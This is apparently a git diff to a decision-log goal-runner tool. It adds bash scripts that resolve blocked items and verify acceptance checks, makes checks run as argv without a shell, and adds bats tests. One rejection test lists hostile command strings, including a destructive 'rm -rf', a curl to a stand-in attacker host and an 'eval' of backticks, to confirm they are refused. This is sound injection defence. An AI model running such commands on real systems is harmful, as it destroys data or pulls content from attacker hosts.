--- /dev/null +++ b/skills/dld-goal/scripts/resolve-block.sh @@ -0,0 +1,93 @@ +#!/usr/bin/env bash +# Resolve a blocked item with the operator's answer. +# +# @decision(DL-004) +# +# Usage: resolve-block.sh --answer --action retry|skip +# +# retry — the answer unblocks the work; the item goes back to implementing +# skip — the item is abandoned; the run continues with later items and the +# decisions stay proposed +# +# The answer is recorded against the open question so the run history shows +# why the path changed. Resolving reactivates the run. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +source "$SCRIPT_DIR/../../dld-common/scripts/common.sh" + +require_jq + +SLUG="${1:?Usage: resolve-block.sh --answer --action retry|skip}" +INDEX="${2:?Usage: resolve-block.sh --answer --action retry|skip}" +shift 2 + +ANSWER="" +ACTION="" + +while [[ $# -gt 0 ]]; do + case "$1" in + --answer) ANSWER="$2"; shift 2 ;; + --action) ACTION="$2"; shift 2 ;; + *) echo "Unknown option: $1" >&2; exit 1 ;; + esac +done + +if [[ -z "$ANSWER" ]]; then + echo "Error: --answer is required." >&2 + exit 1 +fi + +case "$ACTION" in + retry|skip) ;; + *) echo "Error: --action must be 'retry' or 'skip', got '$ACTION'." >&2; exit 1 ;; +esac + +validate_slug "$SLUG" +STATE_FILE="$(get_run_dir "$SLUG")/state.json" + +if [[ ! -f "$STATE_FILE" ]]; then + echo "Error: run '$SLUG' not found." >&2 + exit 1 +fi + +CURRENT_STATUS="$(jq -r --argjson i "$INDEX" '.items[] | select(.index == $i) | .status' "$STATE_FILE")" + +if [[ -z "$CURRENT_STATUS" ]]; then + echo "Error: item $INDEX not found in run '$SLUG'." >&2 + exit 1 +fi + +if [[ "$CURRENT_STATUS" != "blocked" && "$CURRENT_STATUS" != "failed" ]]; then + echo "Error: item $INDEX is '$CURRENT_STATUS', not blocked." >&2 + exit 1 +fi + +# Answer the most recent unanswered question for this item. +UPDATED="$(jq \ + --argjson item "$INDEX" \ + --arg answer "$ANSWER" \ + --arg action "$ACTION" \ + --arg answeredAt "$(utc_timestamp)" \ + '(. | map(.item == $item and .answer == null) | index(true)) as $i + | if $i == null then . + else .[$i] |= (.answer = $answer | .answeredAt = $answeredAt | .resolution = $action) + end' \ + <<<"$(jq -c '.blockedQuestions' "$STATE_FILE")")" + +bash "$SCRIPT_DIR/run-state.sh" set "$SLUG" .blockedQuestions "$UPDATED" + +if [[ "$ACTION" == "retry" ]]; then + bash "$SCRIPT_DIR/run-state.sh" set-item-status "$SLUG" "$INDEX" implementing +else + bash "$SCRIPT_DIR/run-state.sh" set-item-status "$SLUG" "$INDEX" skipped +fi + +bash "$SCRIPT_DIR/run-state.sh" set-status "$SLUG" active + +bash "$SCRIPT_DIR/append-event.sh" "$SLUG" item-unblocked \ + --data "$(jq -n --argjson item "$INDEX" --arg action "$ACTION" --arg answer "$ANSWER" \ + '{item: $item, resolution: $action, answer: $answer}')" + +echo "Item $INDEX resolved: $ACTION." diff --git a/skills/dld-goal/scripts/run-state.sh b/skills/dld-goal/scripts/run-state.sh index f796463..985cfb8 100755 --- a/skills/dld-goal/scripts/run-state.sh +++ b/skills/dld-goal/scripts/run-state.sh @@ -13,6 +13,8 @@ # # run-state.sh add-item --decisions [--check ]... # [--annotation ]... +# Checks are stored as argv and run without a +# shell; shell operators are rejected. # run-state.sh get-item Print one item as JSON # run-state.sh set-item-status # run-state.sh add-evidence @@ -64,6 +66,37 @@ validate_path() { fi } +# Split a check command into argv, rejecting anything that needs a shell. +# Checks are executed directly, never through a shell, so stored contract +# content cannot be interpreted as shell syntax. @decision(DL-003) +parse_check() { + local raw="$1" + local stripped + stripped="$(printf '%s' "$raw" | tr -d 'A-Za-z0-9 _./:=+@,-')" + if [[ -n "$stripped" ]]; then + echo "Error: shell operators and quoting are not allowed in a check: '$raw'" >&2 + echo "Checks run without a shell. Put compound commands in a repo script, e.g." >&2 + echo " --check \"./scripts/check.sh billing\"" >&2 + exit 1 + fi + local parts=() + set -f + IFS=' ' read -ra parts <<< "$raw" + set +f + if [[ ${#parts[@]} -eq 0 ]]; then + echo "Error: empty check." >&2 + exit 1 + fi + # Append one at a time: jq --args treats a literal "--" as end-of-options, + # which would silently drop it from commands like "npm test -- src/x". + local json="[]" + local part + for part in "${parts[@]}"; do + json="$(jq -c --arg p "$part" '. + [$p]' <<<"$json")" + done + printf '%s' "$json" +} + # Fail unless the item index exists in the run. require_item() { local file="$1" @@ -149,7 +182,7 @@ case "$COMMAND" in while [[ $# -gt 0 ]]; do case "$1" in --decisions) DECISIONS="$2"; shift 2 ;; - --check) CHECKS="$(jq --arg c "$2" '. + [$c]' <<<"$CHECKS")"; shift 2 ;; + --check) CHECKS="$(jq --argjson c "$(parse_check "$2")" '. + [$c]' <<<"$CHECKS")"; shift 2 ;; --annotation) ANNOTATIONS="$(jq --arg a "$2" '. + [$a]' <<<"$ANNOTATIONS")"; shift 2 ;; *) echo "Unknown option: $1" >&2; exit 1 ;; esac diff --git a/skills/dld-goal/scripts/verify-item.sh b/skills/dld-goal/scripts/verify-item.sh new file mode 100755 index 0000000..44dd9ac --- /dev/null +++ b/skills/dld-goal/scripts/verify-item.sh @@ -0,0 +1,131 @@ +#!/usr/bin/env bash +# Run the mechanical half of an item's completion transaction. +# +# @decision(DL-003) +# +# Usage: verify-item.sh +# +# Step 2 of the four-part transaction: annotations must exist for every +# decision in the item, and every acceptance check must exit 0. Results are +# recorded as evidence on the item whether they pass or fail — a failed run +# leaves a record of what failed, not just that something did. +# +# Checks are stored as argv and executed directly. No shell is involved, so +# contract content cannot be interpreted as shell syntax — a check that needs +# operators or quoting belongs in a repo script. +# +# Exits 0 when everything passes, 1 when anything fails. +# +# This script does not decide what happens next. Retry, block, and accept are +# the caller's job (DL-004), and the review step is step 3. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +source "$SCRIPT_DIR/../../dld-common/scripts/common.sh" + +require_jq + +SLUG="${1:?Usage: verify-item.sh }" +INDEX="${2:?Usage: verify-item.sh }" + +validate_slug "$SLUG" + +STATE_FILE="$(get_run_dir "$SLUG")/state.json" + +if [[ ! -f "$STATE_FILE" ]]; then + echo "Error: run '$SLUG' not found." >&2 + exit 1 +fi + +if ! jq -e --argjson i "$INDEX" 'any(.items[]; .index == $i)' "$STATE_FILE" >/dev/null; then + echo "Error: item $INDEX not found in run '$SLUG'." >&2 + exit 1 +fi + +ROOT="$(get_project_root)" +FAILED=0 + +record() { + bash "$SCRIPT_DIR/run-state.sh" add-evidence "$SLUG" "$INDEX" "$1" +} + +# --- annotations --- + +DECISION_IDS=() +while IFS= read -r id; do + [[ -n "$id" ]] && DECISION_IDS+=("$id") +done < <(jq -r --argjson i "$INDEX" '.items[] | select(.index == $i) | .decisions[].id' "$STATE_FILE") + +if [[ ${#DECISION_IDS[@]} -eq 0 ]]; then + echo "Error: item $INDEX has no decisions." >&2 + exit 1 +fi + +ANNOTATION_OUTPUT="" +if ANNOTATION_OUTPUT="$(bash "$SCRIPT_DIR/../../dld-implement/scripts/verify-annotations.sh" "${DECISION_IDS[@]}" 2>&1)"; then + ANNOTATION_EXIT=0 +else + ANNOTATION_EXIT=1 + FAILED=1 +fi + +echo "$ANNOTATION_OUTPUT" + +record "$(jq -n \ + --arg output "$ANNOTATION_OUTPUT" \ + --argjson exit "$ANNOTATION_EXIT" \ + --arg at "$(utc_timestamp)" \ + '{kind: "annotations", exit: $exit, output: $output, at: $at}')" >/dev/null + +# --- acceptance checks --- + +while IFS= read -r check_json; do + [[ -z "$check_json" ]] && continue + + # Rebuild argv. read/append rather than mapfile: bash 3.2 on macOS. + cmd=() + while IFS= read -r part; do + cmd+=("$part") + done < <(jq -r '.[]' <<<"$check_json") + + if [[ ${#cmd[@]} -eq 0 ]]; then + continue + fi + + DISPLAY="$(printf '%s ' "${cmd[@]}")" + DISPLAY="${DISPLAY% }" + + echo "running: $DISPLAY" + set +e + CHECK_OUTPUT="$(cd "$ROOT" && "${cmd[@]}" 2>&1)" + CHECK_EXIT=$? + set -e + + if [[ $CHECK_EXIT -ne 0 ]]; then + FAILED=1 + echo "FAILED ($CHECK_EXIT): $DISPLAY" + fi + + # Keep the tail: enough to diagnose, bounded so state.json stays readable. + TAIL_OUTPUT="$(printf '%s' "$CHECK_OUTPUT" | tail -c 2000)" + + record "$(jq -n \ + --argjson command "$check_json" \ + --argjson exit "$CHECK_EXIT" \ + --arg output "$TAIL_OUTPUT" \ + --arg at "$(utc_timestamp)" \ + '{kind: "check", command: $command, exit: $exit, output: $output, at: $at}')" >/dev/null +done < <(jq -c --argjson i "$INDEX" '.items[] | select(.index == $i) | .acceptance.checks[]?' "$STATE_FILE") + +if [[ $FAILED -eq 0 ]]; then + bash "$SCRIPT_DIR/append-event.sh" "$SLUG" item-verified \ + --data "$(jq -n --argjson item "$INDEX" '{item: $item}')" + echo "Item $INDEX passed mechanical verification." +else + bash "$SCRIPT_DIR/append-event.sh" "$SLUG" item-verification-failed \ + --data "$(jq -n --argjson item "$INDEX" '{item: $item}')" + echo "Item $INDEX failed mechanical verification." +fi + +exit "$FAILED" diff --git a/tests/test_goal_gates.bats b/tests/test_goal_gates.bats new file mode 100644 index 0000000..e108fac --- /dev/null +++ b/tests/test_goal_gates.bats @@ -0,0 +1,411 @@ +#!/usr/bin/env bats +# Tests for dld-goal gates: guard-preconditions.sh, verify-item.sh, +# block-item.sh and resolve-block.sh + +load 'test_helper/common' + +setup() { + setup_flat_project + create_decision "DL-001" "proposed" + create_decision "DL-002" "proposed" + git add -A && git commit -qm "decisions" + bash "$SKILLS_DIR/dld-goal/scripts/create-run.sh" --slug "run-a" --title "Run A" >/dev/null + git add -A && git commit -qm "run" 2>/dev/null || true +} + +teardown() { + teardown_project +} + +state() { bash "$SKILLS_DIR/dld-goal/scripts/run-state.sh" "$@"; } +guard() { bash "$SKILLS_DIR/dld-goal/scripts/guard-preconditions.sh" "$@"; } +verify_item() { bash "$SKILLS_DIR/dld-goal/scripts/verify-item.sh" "$@"; } +block_item() { bash "$SKILLS_DIR/dld-goal/scripts/block-item.sh" "$@"; } +resolve_block() { bash "$SKILLS_DIR/dld-goal/scripts/resolve-block.sh" "$@"; } + +annotate() { + mkdir -p src + echo "// @decision($1)" >> src/code.ts + git add -A && git commit -qm "annotate $1" +} + +# --- guard-preconditions: start --- + +@test "guard start passes on a clean tree with proposed decisions" { + state set-status run-a stopped + run guard start --decisions "DL-001,DL-002" + assert_success + assert_output "" +} + +@test "guard start rejects a dirty working tree" { + state set-status run-a stopped + echo "scratch" > untracked.txt + run guard start --decisions "DL-001" + assert_failure + assert_output --partial "working tree is dirty" +} + +@test "guard start rejects a second active run" { + run guard start --decisions "DL-001" + assert_failure + assert_output --partial "run 'run-a' is already active" +} + +@test "guard start rejects a decision that does not exist" { + state set-status run-a stopped + run guard start --decisions "DL-404" + assert_failure + assert_output --partial "DL-404 does not exist" +} + +@test "guard start rejects a decision that is not proposed" { + state set-status run-a stopped + bash "$SKILLS_DIR/dld-common/scripts/update-status.sh" DL-001 accepted >/dev/null + git add -A && git commit -qm "accept" + run guard start --decisions "DL-001" + assert_failure + assert_output --partial "DL-001 is 'accepted', not 'proposed'" +} + +@test "guard start reports every problem, not just the first" { + state set-status run-a stopped + echo "scratch" > untracked.txt + run guard start --decisions "DL-404" + assert_failure + assert_output --partial "working tree is dirty" + assert_output --partial "DL-404 does not exist" +} + +@test "guard start requires --decisions" { + state set-status run-a stopped + run guard start + assert_failure + assert_output --partial "--decisions is required" +} + +@test "guard start flags an unresolved ID collision with the base" { + state set-status run-a stopped + git add -A && git commit -qm "state" 2>/dev/null || true + base_branch="$(git rev-parse --abbrev-ref HEAD)" + + git checkout -q -b feature + create_decision "DL-003" "proposed" + git add -A && git commit -qm "local DL-003" + + # The same ID lands on the base branch too. + git checkout -q "$base_branch" + create_decision "DL-003" "proposed" "" "Base decision" + git add -A && git commit -qm "base DL-003" + git checkout -q feature + + run guard start --decisions "DL-003" --base "$base_branch" + assert_failure + assert_output --partial "decision ID collision" + assert_output --partial "/dld-reindex" +} + +# --- guard-preconditions: resume --- + +@test "guard resume passes for a paused run" { + state add-item run-a --decisions "DL-001" >/dev/null + state set-status run-a paused + git add -A && git commit -qm "pause" 2>/dev/null || true + run guard resume run-a + assert_success +} + +@test "guard resume rejects a stopped run" { + state set-status run-a stopped + run guard resume run-a + assert_failure + assert_output --partial "cannot be resumed" +} + +@test "guard resume rejects a completed run" { + state set-status run-a complete + run guard resume run-a + assert_failure + assert_output --partial "cannot be resumed" +} + +@test "guard resume fails for an unknown run" { + run guard resume nope + assert_failure + assert_output --partial "not found" +} + +@test "guard resume flags decisions that drifted while idle" { + state add-item run-a --decisions "DL-001" >/dev/null + state set-status run-a paused + printf '\nChanged while paused.\n' >> decisions/records/DL-001.md + git add -A && git commit -qm "drift" + + run guard resume run-a + assert_failure + assert_output --partial "DL-001 changed since it was planned" + assert_output --partial "replan" +} + +@test "guard resume checks in-flight items too" { + state add-item run-a --decisions "DL-001" >/dev/null + state set-item-status run-a 1 implementing + state set-status run-a paused + printf '\nChanged mid-flight.\n' >> decisions/records/DL-001.md + git add -A && git commit -qm "drift" + + run guard resume run-a + assert_failure + assert_output --partial "DL-001 changed" +} + +# --- verify-item --- + +@test "verify-item passes when annotations exist and checks succeed" { + annotate DL-001 + state add-item run-a --decisions "DL-001" --check "true" >/dev/null + + run verify_item run-a 1 + assert_success + assert_output --partial "passed mechanical verification" +} + +@test "verify-item fails when the annotation is missing" { + state add-item run-a --decisions "DL-001" >/dev/null + + run verify_item run-a 1 + assert_failure + assert_output --partial "MISSING annotations" +} + +@test "verify-item fails when an acceptance check fails" { + annotate DL-001 + state add-item run-a --decisions "DL-001" --check "false" >/dev/null + + run verify_item run-a 1 + assert_failure + assert_output --partial "FAILED (1): false" +} + +@test "verify-item runs every check even after one fails" { + annotate DL-001 + state add-item run-a --decisions "DL-001" --check "false" --check "echo second" >/dev/null + + run verify_item run-a 1 + assert_failure + assert_output --partial "running: echo second" +} + +@test "verify-item records evidence for passes and failures alike" { + annotate DL-001 + state add-item run-a --decisions "DL-001" --check "false" >/dev/null + run verify_item run-a 1 + + run jq -r '[.items[0].evidence[].kind] | join(",")' .dld/runs/run-a/state.json + assert_output "annotations,check" + + run jq -r '.items[0].evidence[1].exit' .dld/runs/run-a/state.json + assert_output "1" +} + +@test "verify-item captures check output as evidence" { + annotate DL-001 + state add-item run-a --decisions "DL-001" --check "echo diagnostic-detail" >/dev/null + run verify_item run-a 1 + + run jq -r '.items[0].evidence[1].output' .dld/runs/run-a/state.json + assert_output --partial "diagnostic-detail" +} + +@test "verify-item logs an event for the outcome" { + annotate DL-001 + state add-item run-a --decisions "DL-001" --check "true" >/dev/null + verify_item run-a 1 + + run jq -r 'select(.type == "item-verified") | .item' .dld/runs/run-a/events.jsonl + assert_output "1" +} + +@test "verify-item verifies every decision in a batched item" { + annotate DL-001 + state add-item run-a --decisions "DL-001,DL-002" >/dev/null + + run verify_item run-a 1 + assert_failure + assert_output --partial "DL-002" +} + +@test "verify-item fails for an unknown item" { + run verify_item run-a 9 + assert_failure + assert_output --partial "item 9 not found" +} + +# --- block-item --- + +@test "block-item refuses before the retry has been used" { + state add-item run-a --decisions "DL-001" >/dev/null + run block_item run-a 1 --reason "tests fail" + assert_failure + assert_output --partial "Retry once with the failure as context" +} + +@test "block-item blocks after two attempts" { + state add-item run-a --decisions "DL-001" >/dev/null + state bump-attempt run-a 1 >/dev/null + state bump-attempt run-a 1 >/dev/null + + run block_item run-a 1 --reason "tests fail" + assert_success + + run state get run-a '.items[0].status' + assert_output "blocked" + run state get run-a .status + assert_output "blocked" +} + +@test "block-item --force blocks immediately" { + state add-item run-a --decisions "DL-001" >/dev/null + run block_item run-a 1 --reason "unfixable" --force + assert_success +} + +@test "block-item records the question in the run, not the decision log" { + state add-item run-a --decisions "DL-001" >/dev/null + block_item run-a 1 --reason "acceptance check fails" --question "Relax the check or fix the code?" --force + + run jq -r '.blockedQuestions[0].reason' .dld/runs/run-a/state.json + assert_output "acceptance check fails" + run jq -r '.blockedQuestions[0].question' .dld/runs/run-a/state.json + assert_output "Relax the check or fix the code?" + run jq -r '.blockedQuestions[0].answer' .dld/runs/run-a/state.json + assert_output "null" + + # Nothing was written to the decision log. + run bash -c "ls decisions/records/ | wc -l | tr -d ' '" + assert_output "2" +} + +@test "block-item supplies a default question" { + state add-item run-a --decisions "DL-001" >/dev/null + block_item run-a 1 --reason "stuck" --force + run jq -r '.blockedQuestions[0].question' .dld/runs/run-a/state.json + assert_output --partial "retry" +} + +@test "block-item logs an event" { + state add-item run-a --decisions "DL-001" >/dev/null + block_item run-a 1 --reason "stuck" --force + run jq -r 'select(.type == "item-blocked") | .reason' .dld/runs/run-a/events.jsonl + assert_output "stuck" +} + +@test "block-item requires a reason" { + state add-item run-a --decisions "DL-001" >/dev/null + run block_item run-a 1 --force + assert_failure + assert_output --partial "--reason is required" +} + +# --- resolve-block --- + +@test "resolve-block retry returns the item to implementing and reactivates the run" { + state add-item run-a --decisions "DL-001" >/dev/null + block_item run-a 1 --reason "stuck" --force + + run resolve_block run-a 1 --answer "use the v2 endpoint" --action retry + assert_success + + run state get run-a '.items[0].status' + assert_output "implementing" + run state get run-a .status + assert_output "active" +} + +@test "resolve-block skip marks the item skipped and continues the run" { + state add-item run-a --decisions "DL-001" >/dev/null + state add-item run-a --decisions "DL-002" >/dev/null + block_item run-a 1 --reason "stuck" --force + resolve_block run-a 1 --answer "not worth it now" --action skip + + run state get run-a '.items[0].status' + assert_output "skipped" + + # The queue moves on rather than stalling behind the blocker. + run bash "$SKILLS_DIR/dld-goal/scripts/next-item.sh" run-a + assert_output "2" +} + +@test "resolve-block records the answer against the question" { + state add-item run-a --decisions "DL-001" >/dev/null + block_item run-a 1 --reason "stuck" --force + resolve_block run-a 1 --answer "use the v2 endpoint" --action retry + + run jq -r '.blockedQuestions[0].answer' .dld/runs/run-a/state.json + assert_output "use the v2 endpoint" + run jq -r '.blockedQuestions[0].resolution' .dld/runs/run-a/state.json + assert_output "retry" +} + +@test "resolve-block answers the oldest open question for the item" { + state add-item run-a --decisions "DL-001" >/dev/null + block_item run-a 1 --reason "first" --force + resolve_block run-a 1 --answer "answer one" --action retry + block_item run-a 1 --reason "second" --force + resolve_block run-a 1 --answer "answer two" --action retry + + run jq -r '[.blockedQuestions[].answer] | join("|")' .dld/runs/run-a/state.json + assert_output "answer one|answer two" +} + +@test "resolve-block rejects an item that is not blocked" { + state add-item run-a --decisions "DL-001" >/dev/null + run resolve_block run-a 1 --answer "x" --action retry + assert_failure + assert_output --partial "not blocked" +} + +@test "resolve-block rejects an unknown action" { + state add-item run-a --decisions "DL-001" >/dev/null + block_item run-a 1 --reason "stuck" --force + run resolve_block run-a 1 --answer "x" --action abandon + assert_failure + assert_output --partial "must be 'retry' or 'skip'" +} + +@test "resolve-block requires an answer" { + state add-item run-a --decisions "DL-001" >/dev/null + block_item run-a 1 --reason "stuck" --force + run resolve_block run-a 1 --action skip + assert_failure + assert_output --partial "--answer is required" +} + +# --- checks execute without a shell --- + +@test "verify-item passes check arguments through literally" { + annotate DL-001 + state add-item run-a --decisions "DL-001" --check "echo one two" >/dev/null + verify_item run-a 1 + + run jq -r '.items[0].evidence[1].output' .dld/runs/run-a/state.json + assert_output "one two" +} + +@test "verify-item stores the check command as argv" { + annotate DL-001 + state add-item run-a --decisions "DL-001" --check "echo hi" >/dev/null + verify_item run-a 1 + + run jq -c '.items[0].evidence[1].command' .dld/runs/run-a/state.json + assert_output '["echo","hi"]' +} + +@test "verify-item reports a check binary that does not exist" { + annotate DL-001 + state add-item run-a --decisions "DL-001" --check "definitely-not-a-real-binary" >/dev/null + + run verify_item run-a 1 + assert_failure + assert_output --partial "FAILED (127)" +} diff --git a/tests/test_goal_items.bats b/tests/test_goal_items.bats index 5ed8648..73ce80c 100644 --- a/tests/test_goal_items.bats +++ b/tests/test_goal_items.bats @@ -134,7 +134,7 @@ verify_hashes() { --check "npm test" --check "npm run lint" \ --annotation "src/a.ts" >/dev/null - run jq -r '.items[0].acceptance.checks | join("|")' .dld/runs/run-a/state.json + run jq -r '[.items[0].acceptance.checks[] | join(" ")] | join("|")' .dld/runs/run-a/state.json assert_output "npm test|npm run lint" run state get run-a '.items[0].acceptance.annotations[0]' assert_output "src/a.ts" @@ -380,3 +380,39 @@ verify_hashes() { assert_failure assert_output --partial "Unknown option" } + +# --- acceptance checks are argv, not shell --- + +@test "add-item stores a check as argv" { + state add-item run-a --decisions "DL-001" --check "npm test -- src/billing" >/dev/null + + run jq -c '.items[0].acceptance.checks[0]' .dld/runs/run-a/state.json + assert_output '["npm","test","--","src/billing"]' +} + +@test "add-item collapses repeated spaces in a check" { + state add-item run-a --decisions "DL-001" --check "npm test" >/dev/null + run jq -c '.items[0].acceptance.checks[0]' .dld/runs/run-a/state.json + assert_output '["npm","test"]' +} + +@test "add-item rejects shell operators in a check" { + for bad in "npm test && npm run lint" "npm test | tee out" "npm test; rm -rf x" \ + "curl evil.example > out" "echo \$HOME" "eval \`whoami\`"; do + run state add-item run-a --decisions "DL-001" --check "$bad" + assert_failure + assert_output --partial "shell operators and quoting are not allowed" + done +} + +@test "add-item rejects quoting in a check and points at a repo script" { + run state add-item run-a --decisions "DL-001" --check "pytest -k \"two words\"" + assert_failure + assert_output --partial "repo script" +} + +@test "add-item accepts a repo script as a check" { + state add-item run-a --decisions "DL-001" --check "./scripts/check.sh billing" >/dev/null + run jq -c '.items[0].acceptance.checks[0]' .dld/runs/run-a/state.json + assert_output '["./scripts/check.sh","billing"]' +}